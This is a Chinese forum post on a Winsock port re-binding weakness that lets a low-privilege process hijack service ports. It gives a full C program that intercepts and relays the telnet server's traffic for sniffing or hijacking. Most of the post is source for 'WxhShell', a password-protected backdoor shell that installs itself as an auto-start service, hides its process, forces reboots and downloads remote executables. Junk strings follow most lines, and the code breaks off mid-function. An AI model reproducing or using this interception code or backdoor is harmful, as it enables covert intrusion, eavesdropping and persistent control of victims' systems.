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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a[zVC)N0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GK11fZpO:i  
N&k\X]U  
  saddr.sin_family = AF_INET; n'pJl  
ON!Fk:-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @ kv~2m  
0;`FS /[(f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %UooZO  
# 7d vT=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [N[4\W!!  
0lq?l:/  
  这意味着什么?意味着可以进行如下的攻击: p_n$}z  
~qL/P 5*+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~n0Exw(  
C{l-l`:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NhYUSk ~u  
`]19}GK~xo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M!gu`@@}F  
CUC]-]8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #] Do_Z  
jc>B^mqx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Jk|DWZ  
o(v7&m;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4UW)XLu6T7  
:D2GLq*\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !]mo.zDSW5  
Q9p2.!/C1  
  #include <]oPr1  
  #include 4V]xVma  
  #include 16z Wm JH  
  #include    ^l ;Bo3^_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !_c6 `oW  
  int main() z8D,[`  
  { 5mudww`  
  WORD wVersionRequested; _m a;b<I/<  
  DWORD ret; gLo&~|=L-  
  WSADATA wsaData; >U4bK^/Bp  
  BOOL val; eo!+UFZbY  
  SOCKADDR_IN saddr;  8QKu  
  SOCKADDR_IN scaddr; W S9:*YH  
  int err;  =/ !A  
  SOCKET s; 0@u{(m  
  SOCKET sc; ~_ovQ4@  
  int caddsize; Ft:_6T%  
  HANDLE mt; :m'(8s8  
  DWORD tid;   :=q9ay   
  wVersionRequested = MAKEWORD( 2, 2 ); @\-*aS_8>  
  err = WSAStartup( wVersionRequested, &wsaData ); l96 AJB'  
  if ( err != 0 ) { qM^y@B2MO  
  printf("error!WSAStartup failed!\n"); ?"}U?m=  
  return -1; 0,__{?!  
  } v )2yR~J  
  saddr.sin_family = AF_INET; {JKG-0)z?  
   oOXJ7 |n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @ K2Ncb7  
/<O9^hA|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !#olG}#[  
  saddr.sin_port = htons(23); GV9pet89yu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [>j.x2=  
  { bgInIe  
  printf("error!socket failed!\n"); Ia^/^>  
  return -1; )J[Ady^5  
  } .'-t>(}v  
  val = TRUE; vKkvB;F41  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [c=![ *}/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b4ke'gx  
  { P=9sP:[f6  
  printf("error!setsockopt failed!\n"); F*:H&,  
  return -1; DAMw(  
  } hSh^A5 /  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #fyY37-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =7 -k D3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H3JDA^5  
Ut2x4$9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QYBLU7  
  { &(x>J:b  
  ret=GetLastError(); p1z^i(  
  printf("error!bind failed!\n"); ,~K4+ t_  
  return -1; k.Z?BNP  
  } !) d  
  listen(s,2); cZt5;"xgr]  
  while(1) D9r;Ys%  
  { 4tapQgj24  
  caddsize = sizeof(scaddr); q| *nd!y'  
  //接受连接请求 ]zvOM^l~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UyNP:q:  
  if(sc!=INVALID_SOCKET) .e S* F  
  { )B5U0iIi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "MOmJYH  
  if(mt==NULL) K<u~[^R  
  { N,cj[6;T%  
  printf("Thread Creat Failed!\n"); Tl^)O^/  
  break; MB.LHIo  
  } D sBZ%  
  } t{ridA}  
  CloseHandle(mt); !6s]p%{V  
  } JQ\o[t  
  closesocket(s); 2 t]=-@  
  WSACleanup(); @c,=c+-  
  return 0; @oMl^UYM=  
  }   /-3)^R2H  
  DWORD WINAPI ClientThread(LPVOID lpParam) .Ag)/Xm(?  
  { Vf(n  
  SOCKET ss = (SOCKET)lpParam; @d[)i,d:G  
  SOCKET sc; XToYtdt2  
  unsigned char buf[4096]; <,nd]a  
  SOCKADDR_IN saddr; 7^h*rL9  
  long num; /Dk`?  
  DWORD val; g aXF3v*j  
  DWORD ret; ??P> HVx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +$G P(Uu,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %vrUk;<35  
  saddr.sin_family = AF_INET; maQOU1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8 A#\V  
  saddr.sin_port = htons(23); q +c~Bd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fw"x4w  
  { dC">AW  
  printf("error!socket failed!\n"); IBv9xP]BZ  
  return -1; Sj4@pMh4  
  } [#2z=Xg  
  val = 100; \88 IFE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @,q<][q  
  { P-\T BS_O  
  ret = GetLastError(); js=w!q0)9  
  return -1; ns8I_H  
  } \,b_8^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [-Mfgw]i  
  { (Yc}V  
  ret = GetLastError(); wQ9fPOm  
  return -1; mY]R~:  
  } DzvGR)>/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )XD$YI  
  { rEZMX2  
  printf("error!socket connect failed!\n"); hKp-"  
  closesocket(sc); W#<ZaGsq  
  closesocket(ss); 8~h.i1L  
  return -1; sX=_|<[  
  } gM Z `  
  while(1) ^G(+sb[t  
  { G]fx3=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 knu>{a}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q%}54E80  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +p)kemJ~  
  num = recv(ss,buf,4096,0); @X0$X+]E*8  
  if(num>0) V 8J!8=2  
  send(sc,buf,num,0); ,O"zz7  
  else if(num==0) 6rzXM`cs  
  break; 9m_Hm')VG  
  num = recv(sc,buf,4096,0); c ]&|.~2&  
  if(num>0) ais"xm<V  
  send(ss,buf,num,0); [,p[%Dza  
  else if(num==0) {= l 9{K`~  
  break; Y- c_ 2 )  
  } C+c;UzbD  
  closesocket(ss); t[^68]  
  closesocket(sc); W-@}q}A  
  return 0 ; l8ZzKb-  
  } Gcu?xG{  
1'[_J  
3 +$~l5LY  
========================================================== pD%Pg5p`  
v`pIovn  
下边附上一个代码,,WXhSHELL H!dg(d^  
q:ZF6o`Z83  
========================================================== m]:|j[!*M  
$[8GFv  
#include "stdafx.h" @phb5  
BDT1qiC  
#include <stdio.h> N[AX]gOJ  
#include <string.h> Q>emyij  
#include <windows.h> ;3WVrYe  
#include <winsock2.h> 6N'v`p8  
#include <winsvc.h> '}NQ`\k  
#include <urlmon.h> &7t3D?K'qX  
]l4# KI@  
#pragma comment (lib, "Ws2_32.lib") 2_lb +@[W  
#pragma comment (lib, "urlmon.lib") ey>V^Fj  
r5N.Qt8  
#define MAX_USER   100 // 最大客户端连接数 x0_$,Tz@  
#define BUF_SOCK   200 // sock buffer }*I:0"WH  
#define KEY_BUFF   255 // 输入 buffer 0 lsX~d'W  
o72G oUfs  
#define REBOOT     0   // 重启 WfE,U=e*  
#define SHUTDOWN   1   // 关机 I= 'S).  
|/-H:\5  
#define DEF_PORT   5000 // 监听端口 n$}Cj}eju  
WrNm:N  
#define REG_LEN     16   // 注册表键长度 +\n8##oAI  
#define SVC_LEN     80   // NT服务名长度 d'Z  
8(c,b  
// 从dll定义API Mm+kG'Z!S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8P= z"y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >|22%YVX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UFy"hJchO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eE/E#W8  
}<hyW9  
// wxhshell配置信息 (},TZ+u  
struct WSCFG { z tLP {q#  
  int ws_port;         // 监听端口 4=E9$.3a  
  char ws_passstr[REG_LEN]; // 口令 o3~ecJ?k  
  int ws_autoins;       // 安装标记, 1=yes 0=no O_jf)N\pi  
  char ws_regname[REG_LEN]; // 注册表键名  Lx:O Dd  
  char ws_svcname[REG_LEN]; // 服务名 R4Vi*H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {m/h3hjFa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]N+(SU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WM_wkvY l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,KHebv!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \]eB(&nq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OZ6g u$ n*  
-mlBr63Bj  
}; .Bu?=+O~  
S~mpXH@  
// default Wxhshell configuration )ieT/0nt  
struct WSCFG wscfg={DEF_PORT, W7QcDR y6  
    "xuhuanlingzhe", 2Po e-=  
    1, " E U[Lb  
    "Wxhshell", 8f37o/L  
    "Wxhshell", |lOH PA  
            "WxhShell Service", \,i?WgWv  
    "Wrsky Windows CmdShell Service", J`*!U4  
    "Please Input Your Password: ", b]X c5Dp{  
  1, ny:4L{)  
  "http://www.wrsky.com/wxhshell.exe", 7]w]i5  
  "Wxhshell.exe" -5~&A6+ILn  
    }; }x^q?;7xW  
~al4`:rRx1  
// 消息定义模块 Rh:edQ #  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `$*cW1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h`0'27\C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G/:;Qig  
char *msg_ws_ext="\n\rExit."; A[F tPk{k  
char *msg_ws_end="\n\rQuit."; `is."]%f  
char *msg_ws_boot="\n\rReboot..."; !z7j.u`Y  
char *msg_ws_poff="\n\rShutdown..."; e==}qQ  
char *msg_ws_down="\n\rSave to "; '<.@a"DnJ  
D.hj9  
char *msg_ws_err="\n\rErr!"; al9L+ruR  
char *msg_ws_ok="\n\rOK!"; B1GBQH$Ms  
GoK[tjb  
char ExeFile[MAX_PATH]; ]YP J.[n  
int nUser = 0; O|opNr  
HANDLE handles[MAX_USER]; M7|k"iz v  
int OsIsNt; i1"4z tZ  
Vu3;U  
SERVICE_STATUS       serviceStatus; M~Tx 4_t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t<Iy `r7 1  
F|t3%dpj  
// 函数声明 }6;v`1Hr  
int Install(void); Z9MT, "  
int Uninstall(void); f,ajo   
int DownloadFile(char *sURL, SOCKET wsh); bF5mCR:  
int Boot(int flag); #-wtNM%1#  
void HideProc(void); u dhj$:t  
int GetOsVer(void); mT@8(  
int Wxhshell(SOCKET wsl);  0(2r"Hi  
void TalkWithClient(void *cs); 9%i|_c}  
int CmdShell(SOCKET sock); p,hDZea  
int StartFromService(void); xWv@PqXD  
int StartWxhshell(LPSTR lpCmdLine); WQ(*A $  
3_:J`xX(4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D\}A{I92F4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {=5Wi|  
e_Ue9c.}  
// 数据结构和表定义 gZI88Q  
SERVICE_TABLE_ENTRY DispatchTable[] = Flrpk`4  
{ H B}!Lf#*P  
{wscfg.ws_svcname, NTServiceMain}, \J>a*  
{NULL, NULL} dX4"o?KD>  
}; 2E Ufd\   
Oq-O|qJj  
// 自我安装 7q2G/_  
int Install(void) =i_ s#v[Y  
{ 3dlL?+Y#  
  char svExeFile[MAX_PATH]; /0PBY-O  
  HKEY key; .d) X.cO  
  strcpy(svExeFile,ExeFile); RqV* O}Am  
9ZbT41  
// 如果是win9x系统,修改注册表设为自启动 x]~{#pH@<  
if(!OsIsNt) { IUt/V^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W$g<nhLK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vz(O=w=  
  RegCloseKey(key); ZK1H%&P=R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zJhG`iWFw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \uT2)X( N  
  RegCloseKey(key); a^U)2{A*f  
  return 0; U}w,$ Y  
    } +K6j p  
  } k}xXja*  
} e} =tUdDf  
else { {$,t^hd  
lr>P/W\  
// 如果是NT以上系统,安装为系统服务 f~HC%C YH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @WmEcX|  
if (schSCManager!=0) yfq Vx$YL  
{ Pz+2(Z  
  SC_HANDLE schService = CreateService :qfP>Ok  
  ( UMcQqV+vT  
  schSCManager, `QpkD8  
  wscfg.ws_svcname, pX5#!)  
  wscfg.ws_svcdisp, Ev adY  
  SERVICE_ALL_ACCESS, P;.j5P^j`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qD@]FEw!O  
  SERVICE_AUTO_START, ;'E1yzX^  
  SERVICE_ERROR_NORMAL, ZtS>'W8l  
  svExeFile, _Hhf.DmUAH  
  NULL, rD"$,-h  
  NULL, q%g!TFMg  
  NULL, v}vwk8  
  NULL, l70a&[W  
  NULL avJ%J"j8z  
  ); TuF;>{~}  
  if (schService!=0) ,".1![b  
  { qL;OE.?oA  
  CloseServiceHandle(schService); nY]5pOF:  
  CloseServiceHandle(schSCManager);  `7v"(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ""0 cw  
  strcat(svExeFile,wscfg.ws_svcname); ZDQc_{e{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =tP%K*Il4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s7"NK"  
  RegCloseKey(key); ]Alv5?E60  
  return 0; iJ&*H)}^  
    } 8%eWB$<X  
  } UDBMf2F]  
  CloseServiceHandle(schSCManager); &7K 4tL  
} Yo 0wufbfV  
} {`-f<>N3  
dF@m4U@L  
return 1; F(!9;O5J]  
} Z1 7=g@  
=tkO^  
// 自我卸载 QD2;JI2  
int Uninstall(void) cdBD.sg  
{ 3} Xf  
  HKEY key; jN[P$} #b`  
/AT2<w  
if(!OsIsNt) { l2Gtw*i_I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $(3mpQAg  
  RegDeleteValue(key,wscfg.ws_regname); |n*nByL/  
  RegCloseKey(key); U*p;N,SjQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aEL^N0\d  
  RegDeleteValue(key,wscfg.ws_regname); 8)Z)pCN  
  RegCloseKey(key); -~Ll;}nZC  
  return 0; ]AB<OjF1c|  
  } |\# ~  
} -o+<m4he  
} jDWmI% Y.  
else { *VuiEBG  
>/BMA;`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [w1 4hHnq  
if (schSCManager!=0) -Lo3@:2i  
{ nzcXL =^r3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tL>c@w#Pv  
  if (schService!=0) ?:sk [f6  
  { R [qfG! "  
  if(DeleteService(schService)!=0) { Lrrc&;  
  CloseServiceHandle(schService); bgk+PQ#S-  
  CloseServiceHandle(schSCManager); rpB0?h!$  
  return 0; 3Fu5,H EJ  
  } [C>>j;q%  
  CloseServiceHandle(schService); s*g`| E{M  
  } n|p(Cb#G  
  CloseServiceHandle(schSCManager); rf ?\s/#OY  
} wr) \GJ#>  
} iImy"$yX{  
;4%Co)Rw  
return 1; 3J3Yt`  
} ;4:[kv@  
9I|D"zXn  
// 从指定url下载文件 pO_$8=G+  
int DownloadFile(char *sURL, SOCKET wsh) :{g;J  
{ &1 BACKu  
  HRESULT hr; `K%f"by  
char seps[]= "/"; a'Vz|S G  
char *token; ?LwBF;Y  
char *file; xlP0?Y1Bl  
char myURL[MAX_PATH]; K Y=$RO  
char myFILE[MAX_PATH]; (:9=M5d  
PxvD0GTW  
strcpy(myURL,sURL); 'PS_|zI  
  token=strtok(myURL,seps); p.ks jD  
  while(token!=NULL) _{ Np _ (g  
  { J4woZ{d  
    file=token; +~7x+6E  
  token=strtok(NULL,seps); X$Y\/|!z  
  } kgv29j?k;  
_?I6[Mz  
GetCurrentDirectory(MAX_PATH,myFILE); 2gN78#d  
strcat(myFILE, "\\"); RSTA!?K/.  
strcat(myFILE, file); |uIgZ|7[  
  send(wsh,myFILE,strlen(myFILE),0); k9*6`w  
send(wsh,"...",3,0); gb^<6BYUG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  d5YL=o  
  if(hr==S_OK) W6A-/;S\  
return 0; %7S{g  
else yADX^r(  
return 1; nK8IW3fX9)  
Fy#7 <Hp  
} %W8*vSbx  
 r .`&z  
// 系统电源模块 N f^6t1se  
int Boot(int flag) 1)BIh~1{p  
{ }~+q S`  
  HANDLE hToken; '3uN]-A>D  
  TOKEN_PRIVILEGES tkp; ul&}'jBr  
!q[r_wL  
  if(OsIsNt) { ml1My1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GQ8A}gwH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "Q.KBX v/  
    tkp.PrivilegeCount = 1; dsG:DS`q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wZsjbNf`K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3-T"[tCe  
if(flag==REBOOT) { k++"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yma-$ytp  
  return 0; f{w[H S,z  
} .P(A x:g  
else { ~5;2ni8n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m:W+s4!E  
  return 0; r]B`\XWz  
} G@4n]c_  
  } U:fGIEz{ZY  
  else { p;<aZ&@O  
if(flag==REBOOT) { Qm)c!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S^:7V[=EgI  
  return 0; =KW~k7TaN  
} A5IW[Gu!  
else { w\}Q.$@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \GdsQAF"  
  return 0; w?JM;'<AYQ  
} 87-z=>IU  
} m0,TH[HWGF  
~(-df>  
return 1; mum4Uj  
} cq4sgQ?sW  
b ~C^cM  
// win9x进程隐藏模块 YfUo=ku  
void HideProc(void) ZPlY]e  
{ ,CP&o  
IWT -)+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZRP[N)Ld$  
  if ( hKernel != NULL ) Y?4N%c_;  
  { 0/JTbf. CX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \y0]BH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); THcX.%ToT  
    FreeLibrary(hKernel); B42qiV2/k  
  } P0l.sVqL  
.F]"%RK[  
return; l~n=_R3  
} KSR'X0'  
axM(3k.n  
// 获取操作系统版本 b" kL)DL1L  
int GetOsVer(void) z]R% A:6K  
{ *@fVogr^  
  OSVERSIONINFO winfo; Q[&CtM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X8 A$&  
  GetVersionEx(&winfo); +<^c2diX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZJOO*S  
  return 1; t $u.  
  else Io4Ss1="  
  return 0; Y.#:l<  
} Z"d21D~h9`  
a/gr1  
// 客户端句柄模块 ,F?O} ijk  
int Wxhshell(SOCKET wsl) X8 x:/]/0  
{ E.4 X,  
  SOCKET wsh; (BZd%!  
  struct sockaddr_in client; 4Ep6vm X  
  DWORD myID; t/c)[l hV  
G8@LH   
  while(nUser<MAX_USER) FJIo] p  
{  Eikt,  
  int nSize=sizeof(client); Kj6@=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R[!%d6jDE  
  if(wsh==INVALID_SOCKET) return 1; Ze3sc$fG2  
$sb `BS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); im@c||  
if(handles[nUser]==0) S<Uv/pn  
  closesocket(wsh); xX\A& 9m  
else w!/|aZ~*  
  nUser++; x-H R[{C  
  } ngl8) B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?dQ#%06mn  
)'e9(4[V1  
  return 0; V ee;&  
} f=Kt[|%'e  
~?:Xi_3Lo  
// 关闭 socket mO @Sl(9  
void CloseIt(SOCKET wsh) VRvX^w0  
{ S !R:a>\  
closesocket(wsh); gFw- P#t  
nUser--;  m8z414o  
ExitThread(0); \)+s)&JLb  
}  4FcY NJq  
86ml.VOR  
// 客户端请求句柄 )"&\S6*!  
void TalkWithClient(void *cs) .!Q?TSQ+{!  
{ "/zDcZbL;  
Kc {~Q  
  SOCKET wsh=(SOCKET)cs; 4 moVS1  
  char pwd[SVC_LEN]; Wf9K+my  
  char cmd[KEY_BUFF]; kg()C%#u  
char chr[1]; |&\cr\T\r  
int i,j; l1D"*J 2`  
DTM xfQdk  
  while (nUser < MAX_USER) { J85Kgd1 \a  
F1b~S;lm  
if(wscfg.ws_passstr) { !K/zFYl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z1~FE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  F!&_  
  //ZeroMemory(pwd,KEY_BUFF); h2mU  
      i=0; SkMBdkS9z[  
  while(i<SVC_LEN) { $6yr:2Xvt  
~w}Zv0  
  // 设置超时 gpe-)hD@R  
  fd_set FdRead; RiCzH  
  struct timeval TimeOut; '-KrneZ!  
  FD_ZERO(&FdRead); KGsW*G4U=  
  FD_SET(wsh,&FdRead); (#VF>;;L  
  TimeOut.tv_sec=8; Bt1 &C?_$T  
  TimeOut.tv_usec=0; "(^1Dm$(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Iw;J7[hJ&$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .> |]Lo(=l  
Y )9]I6n7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QTuj v<|  
  pwd=chr[0]; = ms o1  
  if(chr[0]==0xd || chr[0]==0xa) {  -TKQfd  
  pwd=0; MDh^ic5  
  break; 6)Dp2  
  } '/K-i.8F  
  i++; Tz2<# pLR  
    } JnBg;D|)@  
2F fwct:  
  // 如果是非法用户,关闭 socket 2a[_^v $v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2:D1<z6RQ  
} b}5hqIy  
'3V?M;3|K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bhc .UmH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]2'{W]m  
rd4\N2- 6  
while(1) { @Z%I g  
h?2:'Vu]  
  ZeroMemory(cmd,KEY_BUFF); OA\ *)c+F  
bF{14F$  
      // 自动支持客户端 telnet标准   o&vODs  
  j=0; eWwI@ASaA  
  while(j<KEY_BUFF) { `Pe WV[?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *kWrF* )J  
  cmd[j]=chr[0]; B:QAG  
  if(chr[0]==0xa || chr[0]==0xd) { O)WduhlGQ  
  cmd[j]=0; kpt 0spp  
  break; UXN!iU)  
  } 7s-ZRb[)1  
  j++; ]U,f}T"e  
    } Kh;jiK !  
=_Y#uE$  
  // 下载文件 =#ls<Zo:  
  if(strstr(cmd,"http://")) { no lLeRE1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~i)IY1m"  
  if(DownloadFile(cmd,wsh)) =lqBRut  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Mr?}_,X*  
  else 84$#!=v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6K zdWT  
  }  2t7Hu)V  
  else { rezH5d6z62  
= ;"$t_t  
    switch(cmd[0]) { #{u>  
  @x z?^20N  
  // 帮助 Z )f\^  
  case '?': { .ko}m{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^6[o$eY3  
    break; qC?\i['`  
  } V=|X=:fuih  
  // 安装 $Q!J.}P@  
  case 'i': { p4-bD_  
    if(Install()) 4,pSC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7ZVW7%,zF  
    else _N-JRM m<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Q)137u]P  
    break; qf2;yRc&  
    } 4 9zOhG |  
  // 卸载 nQW`X=Ku  
  case 'r': { ;+/[<bvd"  
    if(Uninstall()) ,/P)c*at5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Sj r  
    else Ni4*V3VB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JZ  
    break; !@<>S>uGG  
    } >nL9%W}8M  
  // 显示 wxhshell 所在路径 `*nK@:  
  case 'p': { rZBOWT  
    char svExeFile[MAX_PATH]; +o\s |G|l  
    strcpy(svExeFile,"\n\r"); 0 G.y_<=  
      strcat(svExeFile,ExeFile); z<rYh96uA  
        send(wsh,svExeFile,strlen(svExeFile),0); 4vk^=  
    break; -}O>m}l  
    } 0Tm"Zh?B|  
  // 重启 ja2PmPv  
  case 'b': { )FG<|G(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C/!c?$J  
    if(Boot(REBOOT)) K(M@#t1_&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &sRjs  
    else { E'g2<k  
    closesocket(wsh); >{dj6Wo  
    ExitThread(0); ?/,sKF74i  
    } dU~DlaEy(  
    break; Fq<;-  
    } 2-3|0<`  
  // 关机 6jIW)C  
  case 'd': { = yH#Iil  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *qLOr6  
